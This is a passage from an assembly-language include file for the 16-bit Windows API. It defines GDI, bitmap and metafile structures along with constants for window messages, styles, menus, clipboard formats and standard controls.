lopnColor dd ?
LOGPEN ends

BITMAP STRUC
bmType DW ?
bmWidth DW ?
bmHeight DW ?
bmWidthBytes DW ?
bmPlanes DB ?
bmBitsPixel DB ?
bmBits DD ?
BITMAP ENDS

RGBTRIPLE struc
rgbBlue db ?
rgbGreen db ?
rgbRed db ?
RGBTRIPLE ends

RGBQUAD struc
rgbqBlue db ?
rgbqGreen db ?
rgbqRed db ?
rgbqReserved db ?
RGBQUAD ends

; structures for defining DIBs


BITMAPCOREHEADER struc
bcSize dd ?
bcWidth dw ?
bcHeight dw ?
bcPlanes dw ?
bcBitCount dw ?
BITMAPCOREHEADER ends
BITMAPINFOHEADER struc
biSize dd ?
biWidth dd ?
biHeight dd ?
biPlanes dw ?
biBitCount dw ?

biCompression dd ?
biSizeImage dd ?
biXPelsPerMeter dd ?
biYPelsPerMeter dd ?
biClrUsed dd ?
biClrImportant dd ?
BITMAPINFOHEADER ends

BITMAPINFO struc
bmiHeader db (SIZE BITMAPINFOHEADER) DUP (?)
bmiColors db ? ; array of RGBQUADs
BITMAPINFO ends

BITMAPCOREINFO struc
bmciHeader db (SIZE BITMAPCOREHEADER) DUP (?)
bmciColors db ? ; array of RGBTRIPLEs
BITMAPCOREINFO ends

BITMAPFILEHEADER struc
bfType dw ?
bfSize dd ?
bfReserved1 dw ?
bfReserved2 dw ?
bfOffBits dd ?
BITMAPFILEHEADER ends

WNDSTRUC struc
WSwndStyle dd ?
WSwndID dw ?
WSwndText dw ?
WSwndParent dw ?
WSwndInstance dw ?
WSwndClassProc dd ?
WNDSTRUC ends
;
; Message structure
;
MSGSTRUCT struc
msHWND dw ?
msMESSAGE dw ?
msWPARAM dw ?
msLPARAM dd ?
msTIME dd ?
msPT dd ?
MSGSTRUCT ends

NEWPARMS struc
nprmHwnd dw ?
nprmCmd db ?
NEWPARMS ends
ENDIF

PAINTSTRUCT STRUC
PShdc DW ?
PSfErase DW ?
PSrcPaint DB size RECT dup(?)
PSfRestore DW ?
PSfIncUpdate DW ?
PSrgbReserved DB 16 dup(?)
PAINTSTRUCT ENDS

CREATESTRUCT struc
cs_lpCreateParams dd ?
cs_hInstance dw ?
cs_hMenu dw ?
cs_hwndParent dw ?
cs_cy dw ?
cs_cx dw ?
cs_y dw ?
cs_x dw ?
cs_style dd ?
cs_lpszName dd ?
cs_lpszClass dd ?
cs_dwExStyle dd ?
CREATESTRUCT ends
;
; PostError constants
;
WARNING = 0 ; command codes
MINOR_ERROR = 1
FATAL_ERROR = 2

IGNORE = 0 ; response codes


RETRY = 1
ABORT = 2
;
; GDI-related constants & commands
;
ERRORREGION = 0
NULLREGION = 1
SIMPLEREGION = 2
COMPLEXREGION = 3

IFNDEF NORASTOPS
;
; Binary raster ops
;
R2_BLACK = 1
R2_NOTMERGEPEN = 2
R2_MASKNOTPEN = 3
R2_NOTCOPYPEN = 4
R2_MASKPENNOT = 5
R2_NOT = 6
R2_XORPEN = 7
R2_NOTMASKPEN = 8
R2_MASKPEN = 9
R2_NOTXORPEN = 10
R2_NOP = 11
R2_MERGENOTPEN = 12
R2_COPYPEN = 13
R2_MERGEPENNOT = 14
R2_MERGEPEN = 15
R2_WHITE = 16
;
; Ternary raster ops
;
SRCCOPY_L = 0020h ;dest=source
SRCCOPY_H = 00CCh
SRCPAINT_L = 0086h ;dest=source OR dest
SRCPAINT_H = 00EEh
SRCAND_L = 00C6h ;dest=source AND dest
SRCAND_H = 0088h
SRCINVERT_L = 0046h ;dest= source XOR dest
SRCINVERT_H = 0066h
SRCERASE_L = 0328h ;dest= source AND (not dest )
SRCERASE_H = 0044h
NOTSRCCOPY_L = 0008h ;dest= (not source)
NOTSRCCOPY_H = 0033h
NOTSRCERASE_L = 00A6h ;dest= (not source) AND (not dest)
NOTSRCERASE_H = 0011h
MERGECOPY_L = 00CAh ;dest= (source AND pattern)
MERGECOPY_H = 00C0h
MERGEPAINT_L = 0226h ;dest= (source AND pattern) OR dest
MERGEPAINT_H = 00BBh
PATCOPY_L = 0021h ;dest= pattern
PATCOPY_H = 00F0h
PATPAINT_L = 0A09h ;DPSnoo
PATPAINT_H = 00FBh
PATINVERT_L = 0049h ;dest= pattern XOR dest
PATINVERT_H = 005Ah
DSTINVERT_L = 0009h ;dest= (not dest)
DSTINVERT_H = 0055h
BLACKNESS_L = 0042h ;dest= BLACK
BLACKNESS_H = 0000h
WHITENESS_L = 0062h ;dest= WHITE
WHITENESS_H = 00FFh
;
; StretchBlt modes
;
BLACKONWHITE = 1
WHITEONBLACK = 2
COLORONCOLOR = 3
;
; New StretchBlt modes
;
STRETCH_ANDSCANS = 1
STRETCH_ORSCANS = 2
STRETCH_DELETESCANS = 3
;
; PolyFill modes
;
ALTERNATE = 1
WINDING = 2
ENDIF
;
; Text Alignment Options
;
TA_NOUPDATECP = 0
TA_UPDATECP = 1

TA_LEFT = 0
TA_RIGHT = 2
TA_CENTER = 6

TA_TOP = 0
TA_BOTTOM = 8
TA_BASELINE = 24

ETO_GRAYED = 1
ETO_OPAQUE = 2
ETO_CLIPPED = 4

ASPECT_FILTERING = 1

ifndef NOMETAFILE

; Metafile Functions */
META_SETBKCOLOR = 0201h
META_SETBKMODE = 0102h
META_SETMAPMODE = 0103h
META_SETROP2 = 0104h
META_SETRELABS = 0105h
META_SETPOLYFILLMODE = 0106h
META_SETSTRETCHBLTMODE = 0107h
META_SETTEXTCHAREXTRA = 0108h
META_SETTEXTCOLOR = 0209h
META_SETTEXTJUSTIFICATION = 020Ah
META_SETWINDOWORG = 020Bh
META_SETWINDOWEXT = 020Ch
META_SETVIEWPORTORG = 020Dh
META_SETVIEWPORTEXT = 020Eh
META_OFFSETWINDOWORG = 020Fh
META_SCALEWINDOWEXT = 0400h
META_OFFSETVIEWPORTORG = 0211h
META_SCALEVIEWPORTEXT = 0412h
META_LINETO = 0213h
META_MOVETO = 0214h
META_EXCLUDECLIPRECT = 0415h
META_INTERSECTCLIPRECT = 0416h
META_ARC = 0817h
META_ELLIPSE = 0418h
META_FLOODFILL = 0419h
META_PIE = 081Ah
META_RECTANGLE = 041Bh
META_ROUNDRECT = 061Ch
META_PATBLT = 061Dh
META_SAVEDC = 001Eh
META_SETPIXEL = 041Fh
META_OFFSETCLIPRGN = 0220h
META_TEXTOUT = 0521h
META_BITBLT = 0922h
META_STRETCHBLT = 0B23h
META_POLYGON = 0324h
META_POLYLINE = 0325h
META_ESCAPE = 0626h
META_RESTOREDC = 0127h
META_FILLREGION = 0228h
META_FRAMEREGION = 0429h
META_INVERTREGION = 012Ah
META_PAINTREGION = 012Bh
META_SELECTCLIPREGION = 012Ch
META_SELECTOBJECT = 012Dh
META_SETTEXTALIGN = 012Eh
META_DRAWTEXT = 062Fh

META_CHORD = 0830h
META_SETMAPPERFLAGS = 0231h
META_EXTTEXTOUT = 0a32h
META_SETDIBTODEV = 0d33h
META_SELECTPALETTE = 0234h
META_REALIZEPALETTE = 0035h
META_ANIMATEPALETTE = 0436h
META_SETPALENTRIES = 0037h
META_POLYPOLYGON = 0538h
META_RESIZEPALETTE = 0139h

META_DIBBITBLT = 0940h
META_DIBSTRETCHBLT = 0b41h
META_DIBCREATEPATTERNBRUSH = 0142h
META_STRETCHDIB = 0f43h

META_DELETEOBJECT = 01f0h

META_CREATEPALETTE = 00f7h
META_CREATEBRUSH = 00F8h
META_CREATEPATTERNBRUSH = 01F9h
META_CREATEPENINDIRECT = 02FAh
META_CREATEFONTINDIRECT = 02FBh
META_CREATEBRUSHINDIRECT = 02FCh
META_CREATEBITMAPINDIRECT = 02FDh
META_CREATEBITMAP = 06FEh
META_CREATEREGION = 06FFh

; /* Clipboard Metafile Picture Structure */


HANDLETABLE struc
ht_objectHandle dw ?
HANDLETABLE ends

METARECORD struc
mr_rdSize dd ?
mr_rdFunction dw ?
mr_rdParm dw ?
METARECORD ends

METAFILEPICT struc
mfp_mm dw ?
mfp_xExt dw ?
mfp_yExt dw ?
mfp_hMF dw ?
METAFILEPICT ends

METAHEADER struc
mtType dw ?
mtHeaderSize dw ?
mtVersion dw ?
mtSize dd ?
mtNoObjects dw ?
mtMaxRecord dd ?
mtNoParameters dw ?
METAHEADER ends

endif ; NOMETAFILE

; GDI Escapes
NEWFRAME = 1
ABORTDOC = 2
NEXTBAND = 3
SETCOLORTABLE = 4
GETCOLORTABLE = 5
FLUSHOUTPUT = 6
DRAFTMODE = 7
QUERYESCSUPPORT = 8
SETABORTPROC = 9
STARTDOC = 10
;; This value conflicts with a std WIN386 MACRO definition
;;ENDDOC = 11
GETPHYSPAGESIZE = 12
GETPRINTINGOFFSET = 13
GETSCALINGFACTOR = 14
MFCOMMENT = 15
GETPENWIDTH = 16
SETCOPYCOUNT = 17
SELECTPAPERSOURCE = 18
DEVICEDATA = 19
PASSTHROUGH = 19
GETTECHNOLGY = 20
GETTECHNOLOGY = 20
SETENDCAP = 21
SETLINEJOIN = 22
SETMITERLIMIT = 23
BANDINFO = 24
DRAWPATTERNRECT = 25
GETVECTORPENSIZE = 26
GETVECTORBRUSHSIZE = 27
ENABLEDUPLEX = 28
ENABLEMANUALFEED = 29
GETSETPAPERBINS = 29
GETSETPRINTORIENT = 30
ENUMPAPERBINS = 31

GETEXTENDEDTEXTMETRICS = 256
GETEXTENTTABLE = 257
GETPAIRKERNTABLE = 258
GETTRACKKERNTABLE = 259

EXTTEXTOUT = 512

ENABLERELATIVEWIDTHS = 768
ENABLEPAIRKERNING = 769
SETKERNTRACK = 770
SETALLJUSTVALUES = 771
SETCHARSET = 772

GETSETSCREENPARAMS = 3072

STRETCHBLT = 2048

; Spooler Error Codes


SP_NOTREPORTED = 4000h
SP_ERROR = (-1)
SP_APPABORT = (-2)
SP_USERABORT = (-3)
SP_OUTOFDISK = (-4)
SP_OUTOFMEMORY = (-5)

PR_JOBSTATUS = 0000

; Object Definitions for EnumObjects()


OBJ_PEN = 1
OBJ_BRUSH = 2

;
; Menu flags for Change/Check/Enable MenuItem
;
MF_INSERT = 0000h
MF_CHANGE = 0080h
MF_APPEND = 0100h
MF_DELETE = 0200h
MF_REMOVE = 1000h

MF_BYCOMMAND = 0000h
MF_BYPOSITION = 0400h

MF_SEPARATOR = 0800h

MF_ENABLED = 0000h
MF_GRAYED = 0001h
MF_DISABLED = 0002h

MF_UNCHECKED = 0000h
MF_CHECKED = 0008h
MF_USECHECKBITMAPS= 0200h

MF_STRING = 0000h
MF_BITMAP = 0004h
MF_OWNERDRAW = 0100h

MF_POPUP = 0010h
MF_MENUBARBREAK = 0020h
MF_MENUBREAK = 0040h

MF_UNHILITE = 0000h
MF_HILITE = 0080h

MF_SYSMENU = 2000h
MF_HELP = 4000h
MF_MOUSESELECT = 8000h

;
; System Menu Command Values
;
SC_SIZE = 0F000h
SC_MOVE = 0F010h
SC_MINIMIZE = 0F020h
SC_MAXIMIZE = 0F030h
SC_NEXTWINDOW = 0F040h
SC_PREVWINDOW = 0F050h
SC_CLOSE = 0F060h
SC_VSCROLL = 0F070h
SC_HSCROLL = 0F080h
SC_MOUSEMENU = 0F090h
SC_KEYMENU = 0F100h
SC_ARRANGE = 0F110h
SC_RESTORE = 0F120h
SC_TASKLIST = 0F130h
SC_SCREENSAVE = 0F140h
SC_HOTKEY = 0F150h

SC_ICON = SC_MINIMIZE
SC_ZOOM = SC_MAXIMIZE

;
; Window State Messages
;
IFNDEF NOWM
WM_STATE = 0000H

WM_NULL = 0000h
WM_CREATE = 0001h
WM_DESTROY = 0002h
WM_MOVE = 0003h
WM_SIZE = 0005h
WM_ACTIVATE = 0006h
WM_SETFOCUS = 0007h
WM_KILLFOCUS = 0008h
WM_ENABLE = 000Ah
WM_SETREDRAW = 000Bh
WM_SETTEXT = 000Ch
WM_GETTEXT = 000Dh
WM_GETTEXTLENGTH = 000Eh
WM_PAINT = 000Fh
WM_CLOSE = 0010h
WM_QUERYENDSESSION = 0011h
WM_QUIT = 0012h
WM_QUERYOPEN = 0013h
WM_ERASEBKGND = 0014h
WM_SYSCOLORCHANGE = 0015h
WM_ENDSESSION = 0016h
WM_SYSTEMERROR = 0017h
WM_SHOWWINDOW = 0018h
WM_CTLCOLOR = 0019h
WM_WININICHANGE = 001Ah
WM_DEVMODECHANGE = 001Bh
WM_ACTIVATEAPP = 001Ch
WM_FONTCHANGE = 001Dh
WM_TIMECHANGE = 001Eh
WM_CANCELMODE = 001Fh
WM_SETCURSOR = 0020h
WM_MOUSEACTIVATE = 0021h
WM_CHILDACTIVATE = 0022h
WM_QUEUESYNC = 0023h
WM_GETMINMAXINFO = 0024h
WM_PAINTICON = 0026h
WM_ICONERASEBKGND = 0027h
WM_NEXTDLGCTL = 0028h
WM_SPOOLERSTATUS = 002Ah
WM_DRAWITEM = 002Bh
WM_MEASUREITEM = 002Ch
WM_DELETEITEM = 002Dh
WM_VKEYTOITEM = 002Eh
WM_CHARTOITEM = 002Fh
WM_SETFONT = 0030h
WM_GETFONT = 0031h
WM_QUERYDRAGICON = 0037h
WM_COMPAREITEM = 0039h
WM_COMPACTING = 0041h
IFNDEF NOWIN31
WM_COMMNOTIFY = 0044h
WM_WINDOWPOSCHANGING= 0046h
WM_WINDOWPOSCHANGED = 0047h
WM_POWER = 0048h
ENDIF

WM_NCCREATE = 0081h
WM_NCDESTROY = 0082h
WM_NCCALCSIZE = 0083h
WM_NCHITTEST = 0084h
WM_NCPAINT = 0085h
WM_NCACTIVATE = 0086h
WM_GETDLGCODE = 0087h
WM_NCMOUSEMOVE = 00A0h
WM_NCLBUTTONDOWN = 00A1h
WM_NCLBUTTONUP = 00A2h
WM_NCLBUTTONDBLCLK = 00A3h
WM_NCRBUTTONDOWN = 00A4h
WM_NCRBUTTONUP = 00A5h
WM_NCRBUTTONDBLCLK = 00A6h
WM_NCMBUTTONDOWN = 00A7h
WM_NCMBUTTONUP = 00A8h
WM_NCMBUTTONDBLCLK = 00A9h

WM_KEYFIRST = 0100h
WM_KEYDOWN = 0100h
WM_KEYUP = 0101h
WM_CHAR = 0102h
WM_DEADCHAR = 0103h
WM_SYSKEYDOWN = 0104h
WM_SYSKEYUP = 0105h
WM_SYSCHAR = 0106h
WM_SYSDEADCHAR = 0107h
WM_KEYLAST = 0108h

WM_INITDIALOG = 0110h
WM_COMMAND = 0111h
WM_SYSCOMMAND = 0112h
WM_TIMER = 0113h
WM_HSCROLL = 0114h
WM_VSCROLL = 0115h
WM_INITMENU = 0116h
WM_INITMENUPOPUP = 0117h
WM_MENUSELECT = 011Fh
WM_MENUCHAR = 0120h
WM_ENTERIDLE = 0121h

WM_MOUSEFIRST = 0200h
WM_MOUSEMOVE = 0200h
WM_LBUTTONDOWN = 0201h
WM_LBUTTONUP = 0202h
WM_LBUTTONDBLCLK = 0203h
WM_RBUTTONDOWN = 0204h
WM_RBUTTONUP = 0205h
WM_RBUTTONDBLCLK = 0206h
WM_MBUTTONDOWN = 0207h
WM_MBUTTONUP = 0208h
WM_MBUTTONDBLCLK = 0209h
WM_MOUSELAST = 0209h

WM_PARENTNOTIFY = 0210h
WM_MDICREATE = 0220h
WM_MDIDESTROY = 0221h
WM_MDIACTIVATE = 0222h
WM_MDIRESTORE = 0223h
WM_MDINEXT = 0224h
WM_MDIMAXIMIZE = 0225h
WM_MDITILE = 0226h
WM_MDICASCADE = 0227h
WM_MDIICONARRANGE = 0228h
WM_MDIGETACTIVE = 0229h
WM_MDISETMENU = 0230h
WM_DROPFILES = 0233h

WM_CUT = 0300h
WM_COPY = 0301h
WM_PASTE = 0302h
WM_CLEAR = 0303h
WM_UNDO = 0304h
WM_RENDERFORMAT = 0305h
WM_RENDERALLFORMATS = 0306h
WM_DESTROYCLIPBOARD = 0307h
WM_DRAWCLIPBOARD = 0308h
WM_PAINTCLIPBOARD = 0309h
WM_VSCROLLCLIPBOARD = 030Ah
WM_SIZECLIPBOARD = 030Bh
WM_ASKCBFORMATNAME = 030Ch
WM_CHANGECBCHAIN = 030Dh
WM_HSCROLLCLIPBOARD = 030Eh
WM_QUERYNEWPALETTE = 030Fh
WM_PALETTEISCHANGING = 0310h
WM_PALETTECHANGED = 0311h

IFNDEF NOWIN31
WM_PENWINFIRST equ 0380h
WM_PENWINLAST equ 038Fh

WM_COALESCE_FIRST equ 0390h


WM_COALESCE_LAST equ 039Fh

ENDIF

; private window messages start here


WM_USER = 0400H
ENDIF ; NOWM

; WM_MOUSEACTIVATE Return Codes


MA_ACTIVATE = 1
MA_ACTIVATEANDEAT = 2
MA_NOACTIVATE = 3

; Size message commands


SIZENORMAL = 0
SIZEICONIC = 1
SIZEFULLSCREEN = 2
SIZEZOOMSHOW = 3
SIZEZOOMHIDE = 4

; ShowWindow() Commands
SW_HIDE = 0
SW_SHOWNORMAL = 1
SW_NORMAL = 1
SW_SHOWMINIMIZED = 2
SW_SHOWMAXIMIZED = 3
SW_MAXIMIZE = 3
SW_SHOWNOACTIVATE = 4
SW_SHOW = 5
SW_MINIMIZE = 6
SW_SHOWMINNOACTIVE = 7
SW_SHOWNA = 8
SW_RESTORE = 9

; Old ShowWindow() Commands


HIDE_WINDOW = 0
SHOW_OPENWINDOW = 1
SHOW_ICONWINDOW = 2
SHOW_FULLSCREEN = 3
SHOW_OPENNOACTIVATE= 4

; identifiers for the WM_SHOWWINDOW message


SW_PARENTCLOSING = 1
SW_OTHERZOOM = 2
SW_PARENTOPENING = 3
SW_OTHERUNZOOM = 4
;
; Key state masks for mouse messages
;
MK_LBUTTON = 0001h
MK_RBUTTON = 0002h
MK_SHIFT = 0004h
MK_CONTROL = 0008h
MK_MBUTTON = 0010h
;
; Class styles
;
CS_VREDRAW = 0001h
CS_HREDRAW = 0002h
CS_KEYCVTWINDOW = 0004H
CS_DBLCLKS = 0008h
; 0010h reserved
CS_OWNDC = 0020h
CS_CLASSDC = 0040h
CS_PARENTDC = 0080h
CS_NOKEYCVT = 0100h
CS_SAVEBITS = 0800h
CS_NOCLOSE = 0200h
CS_BYTEALIGNCLIENT = 1000h
CS_BYTEALIGNWINDOW = 2000h
CS_GLOBALCLASS = 4000h ; Global window class

;
; Special CreateWindow position value
;
CW_USEDEFAULT EQU 8000h

;
; Windows styles (the high words)
;
WS_OVERLAPPED = 00000h
WS_ICONICPOPUP = 0C000h
WS_POPUP = 08000h
WS_CHILD = 04000h
WS_MINIMIZE = 02000h
WS_VISIBLE = 01000h
WS_DISABLED = 00800h
WS_CLIPSIBLINGS = 00400h
WS_CLIPCHILDREN = 00200h
WS_MAXIMIZE = 00100h
WS_CAPTION = 000C0h ; WS_BORDER | WS_DLGFRAME
WS_BORDER = 00080h
WS_DLGFRAME = 00040h
WS_VSCROLL = 00020h
WS_HSCROLL = 00010h
WS_SYSMENU = 00008h
WS_THICKFRAME = 00004h
WS_HREDRAW = 00002h
WS_VREDRAW = 00001h
WS_GROUP = 00002h
WS_TABSTOP = 00001h
WS_MINIMIZEBOX = 00002h
WS_MAXIMIZEBOX = 00001h

; Common Window Styles

WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME +


WS_MINIMIZEBOX + WS_MAXIMIZEBOX
WS_POPUPWINDOW = WS_POPUP + WS_BORDER + WS_SYSMENU
WS_CHILDWINDOW = WS_CHILD
WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW

WS_TILED = WS_OVERLAPPED
WS_ICONIC = WS_MINIMIZE
WS_SIZEBOX = WS_THICKFRAME

; Extended Window Styles (low words)


WS_EX_DLGMODALFRAME = 0001
WS_EX_DRAGOBJECT = 0002
WS_EX_NOPARENTNOTIFY = 0004
WS_EX_TOPMOST = 0008

;
; predefined clipboard formats
;
CF_TEXT = 1
CF_BITMAP = 2
CF_METAFILEPICT = 3
CF_SYLK = 4
CF_DIF = 5
CF_TIFF = 6
CF_OEMTEXT = 7
CF_DIB = 8
CF_PALETTE = 9
CF_PENDATA = 10
CF_RIFF = 11
CF_WAVE = 12

CF_OWNERDISPLAY = 80h ; owner display


CF_DSPTEXT = 81h ; display text
CF_DSPBITMAP = 82h ; display bitmap
CF_DSPMETAFILEPICT = 83h ; display metafile
;
; Private clipboard format range
;
CF_PRIVATEFIRST = 200h ; Anything in this range doesn't
CF_PRIVATELAST = 2ffh ; get GlobalFree'd
CF_GDIOBJFIRST = 300h ; Anything in this range gets
CF_GDIOBJLAST = 3ffh ; DeleteObject'ed

MAKEINTRESOURCE MACRO a
mov ax,a
xor dx,dx
ENDM
;
; Predefined resource types
;
RT_CURSOR = 1 ; must be passed through MAKEINTRESOURCE
RT_BITMAP = 2
RT_ICON = 3
RT_MENU = 4
RT_DIALOG = 5
RT_STRING = 6
RT_FONTDIR = 7
RT_FONT = 8
RT_ACCELERATOR = 9
RT_RCDATA = 10

;** NOTE: if any new resource types are introduced above this point, then the
;** value of DIFFERENCE must be changed.
;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE
;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE

DIFFERENCE = 11

RT_GROUP_CURSOR = RT_CURSOR + DIFFERENCE


RT_GROUP_ICON = RT_ICON + DIFFERENCE

IFNDEF NOMDI
MDICREATESTRUCT struc
szClass dd ?
szTitle dd ?
hOwner dw ?
x dw ?
y dw ?
cxc dw ?
cyc dw ?
style dd ?
MDICREATESTRUCT ends

CLIENTCREATESTRUCT struc
hWindowMenu dw ?
idFirstChild dw ?
CLIENTCREATESTRUCT ends
ENDIF

; NOMDI

PALETTEENTRY struc
peRed db ?
peGreen db ?
peBlue db ?
peFlags db ?
PALETTEENTRY ends

; Logical Palette
LOGPALETTE struc
palVersion dw ?
palNumEntries dw ?
palPalEntry db ? ; array of PALETTEENTRY
LOGPALETTE ends

; DRAWITEMSTRUCT for ownerdraw


DRAWITEMSTRUCT struc
drCtlType dw ?
drCtlID dw ?
dritemID dw ?
dritemAction dw ?
dritemState dw ?
drhwndItem dw ?
drhDC dw ?
drrcItem DB size RECT dup(?)
dritemData dd ?
DRAWITEMSTRUCT ends

; DELETEITEMSTRUCT for ownerdraw


DELETEITEMSTRUCT struc
deCtlType dw ?
deCtlID dw ?
deitemID dw ?
dehwndItem dw ?
deitemData dd ?
DELETEITEMSTRUCT ends

; MEASUREITEMSTRUCT for ownerdraw


MEASUREITEMSTRUCT struc
meCtlType dw ?
meCtlID dw ?
meitemID dw ?
meitemWidth dw ?
meitemHeight dw ?
meitemData dd ?
MEASUREITEMSTRUCT ends

; COMPAREITEMSTUCT for ownerdraw sorting


COMPAREITEMSTRUCT struc
coCtlType dw ?
coCtlID dw ?
cohwndItem dw ?
coitemID1 dw ?
coitemData1 dd ?
coitemID2 dw ?
coitemData2 dd ?
COMPAREITEMSTRUCT ends

; Owner draw control types


ODT_MENU = 1
ODT_LISTBOX = 2
ODT_COMBOBOX = 3
ODT_BUTTON = 4

; Owner draw actions


ODA_DRAWENTIRE = 1
ODA_SELECT = 2
ODA_FOCUS = 4

; Owner draw state


ODS_SELECTED = 0001h
ODS_GRAYED = 0002h
ODS_DISABLED = 0004h
ODS_CHECKED = 0008h
ODS_FOCUS = 0010h

; PeekMessage() Options
PM_NOREMOVE = 0000h
PM_REMOVE = 0001h
PM_NOYIELD = 0002h

; SetWindowPos Flags
SWP_NOSIZE = 0001h
SWP_NOMOVE = 0002h
SWP_NOZORDER = 0004h
SWP_NOREDRAW = 0008h
SWP_NOACTIVATE = 0010h
SWP_DRAWFRAME = 0020h
SWP_SHOWWINDOW = 0040h
SWP_HIDEWINDOW = 0080h
SWP_NOCOPYBITS = 0100h
SWP_NOREPOSITION = 0200h

IFNDEF NOWINMESSAGES

; Listbox messages
LB_ADDSTRING = (WM_USER+1)
LB_INSERTSTRING = (WM_USER+2)
LB_DELETESTRING = (WM_USER+3)
LB_RESETCONTENT = (WM_USER+5)
LB_SETSEL = (WM_USER+6)
LB_SETCURSEL = (WM_USER+7)
LB_GETSEL = (WM_USER+8)
LB_GETCURSEL = (WM_USER+9)
LB_GETTEXT = (WM_USER+10)
LB_GETTEXTLEN = (WM_USER+11)
LB_GETCOUNT = (WM_USER+12)
LB_SELECTSTRING = (WM_USER+13)
LB_DIR = (WM_USER+14)
LB_GETTOPINDEX = (WM_USER+15)
LB_FINDSTRING = (WM_USER+16)
LB_GETSELCOUNT = (WM_USER+17)
LB_GETSELITEMS = (WM_USER+18)
LB_SETTABSTOPS = (WM_USER+19)
LB_GETHORIZONTALEXTENT = (WM_USER+20)
LB_SETHORIZONTALEXTENT = (WM_USER+21)
LB_SETTOPINDEX = (WM_USER+24)
LB_GETITEMRECT = (WM_USER+25)
LB_GETITEMDATA = (WM_USER+26)
LB_SETITEMDATA = (WM_USER+27)
LB_SELITEMRANGE = (WM_USER+28)
LB_SETCARETINDEX = (WM_USER+31)
LB_GETCARETINDEX = (WM_USER+32)
IFNDEF NOWIN31
LB_SETITEMHEIGHT = (WM_USER+33)
LB_GETITEMHEIGHT = (WM_USER+34)
LB_FINDSTRINGEXACT = (WM_USER+35)
ENDIF

ENDIF
; NOWINMESSAGES

; Listbox Styles
LBS_NOTIFY = 0001h
LBS_SORT = 0002h
LBS_NOREDRAW = 0004h
LBS_MULTIPLESEL = 0008h
LBS_OWNERDRAWFIXED = 0010h
LBS_OWNERDRAWVARIABLE = 0020h
LBS_HASSTRINGS = 0040h
LBS_USETABSTOPS = 0080h
LBS_NOINTEGRALHEIGHT = 0100h
LBS_MULTICOLUMN = 0200h
LBS_WANTKEYBOARDINPUT = 0400h
LBS_EXTENDEDSEL = 0800h
LBS_STANDARD = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER
LBS_DISABLENOSCROLL = 1000h
; Listbox Notification Codes
LBN_ERRSPACE = (-2)
LBN_SELCHANGE = 1
LBN_DBLCLK = 2
LBN_SELCANCEL = 3
LBN_SETFOCUS = 4
LBN_KILLFOCUS = 5

IFNDEF NOWINMESSAGES

; Edit Control Messages


EM_GETSEL = (WM_USER+0)
EM_SETSEL = (WM_USER+1)
EM_GETRECT = (WM_USER+2)
EM_SETRECT = (WM_USER+3)
EM_SETRECTNP = (WM_USER+4)
EM_SCROLL = (WM_USER+5)
EM_LINESCROLL = (WM_USER+6)
EM_GETMODIFY = (WM_USER+8)
EM_SETMODIFY = (WM_USER+9)
EM_GETLINECOUNT = (WM_USER+10)
EM_LINEINDEX = (WM_USER+11)
EM_SETHANDLE = (WM_USER+12)
EM_GETHANDLE = (WM_USER+13)
EM_LINELENGTH = (WM_USER+17)
EM_REPLACESEL = (WM_USER+18)
EM_SETFONT = (WM_USER+19)
EM_GETLINE = (WM_USER+20)
EM_LIMITTEXT = (WM_USER+21)
EM_CANUNDO = (WM_USER+22)
EM_UNDO = (WM_USER+23)
EM_FMTLINES = (WM_USER+24)
EM_LINEFROMCHAR = (WM_USER+25)
EM_SETWORDBREAK = (WM_USER+26)
EM_SETTABSTOPS = (WM_USER+27)
EM_SETPASSWORDCHAR = (WM_USER+28)
EM_EMPTYUNDOBUFFER = (WM_USER+29)
IFNDEF NOWIN31
EM_GETFIRSTVISIBLELINE = (WM_USER+30)
EM_SETREADONLY = (WM_USER+31)
EM_SETWORDBREAKPROC = (WM_USER+32)
EM_GETWORDBREAKPROC = (WM_USER+33)
EM_GETPASSWORDCHAR = (WM_USER+34)
ENDIF

ENDIF
; NOWINMESSAGES

; Edit Control Styles (low word)


ES_LEFT = 0000h
ES_CENTER = 0001h
ES_RIGHT = 0002h
ES_MULTILINE = 0004h
ES_UPPERCASE = 0008h
ES_LOWERCASE = 0010h
ES_PASSWORD = 0020h
ES_AUTOVSCROLL = 0040h
ES_AUTOHSCROLL = 0080h
ES_NOHIDESEL = 0100h
ES_OEMCONVERT = 0400h
IFNDEF NOWIN31
ES_READONLY = 0800h
ES_WANTRETURN = 1000h
ENDIF

; Edit Control Notification Codes


EN_SETFOCUS = 0100h
EN_KILLFOCUS = 0200h
EN_CHANGE = 0300h
EN_UPDATE = 0400h
EN_ERRSPACE = 0500h
EN_MAXTEXT = 0501h
EN_HSCROLL = 0601h
EN_VSCROLL = 0602h

IFNDEF NOWINMESSAGES

; Button Control Messages


BM_GETCHECK = (WM_USER+0)
BM_SETCHECK = (WM_USER+1)
BM_GETSTATE = (WM_USER+2)
BM_SETSTATE = (WM_USER+3)
BM_SETSTYLE = (WM_USER+4)

ENDIF
; NOWINMESSAGES

; Button Control Styles (low word)


BS_PUSHBUTTON = 00h
BS_DEFPUSHBUTTON = 01h
BS_CHECKBOX = 02h
BS_AUTOCHECKBOX = 03h
BS_RADIOBUTTON = 04h
BS_3STATE = 05h
BS_AUTO3STATE = 06h
BS_GROUPBOX = 07h
BS_USERBUTTON = 08h
BS_AUTORADIOBUTTON = 09h
BS_OWNERDRAW = 0Bh
BS_LEFTTEXT = 20h

; User Button Notification Codes


BN_CLICKED = 0
BN_PAINT = 1
BN_HILITE = 2
BN_UNHILITE = 3
BN_DISABLE = 4
BN_DOUBLECLICKED = 5

; Dialog Styles (low words)


DS_ABSALIGN = 01h
DS_SYSMODAL = 02h
DS_LOCALEDIT = 20h ;/* Edit items get Local storage. */
DS_SETFONT = 40h ;/* User specified font for Dlg controls */
DS_MODALFRAME = 80h ;/* Can be combined with WS_CAPTION */
DS_NOIDLEMSG = 100h ;/* WM_ENTERIDLE message will not be sent */

IFNDEF NOWINMESSAGES

; Dialog box messages


DM_GETDEFID = (WM_USER+0)
DM_SETDEFID = (WM_USER+1)

ENDIF ;NOWINMESSAGES
; Dialog Codes
DLGC_WANTARROWS = 0001h ; /* Control wants arrow keys */
DLGC_WANTTAB = 0002h ; /* Control wants tab keys */
DLGC_WANTALLKEYS = 0004h ; /* Control wants all keys */
DLGC_WANTMESSAGE = 0004h ; /* Pass message to control */
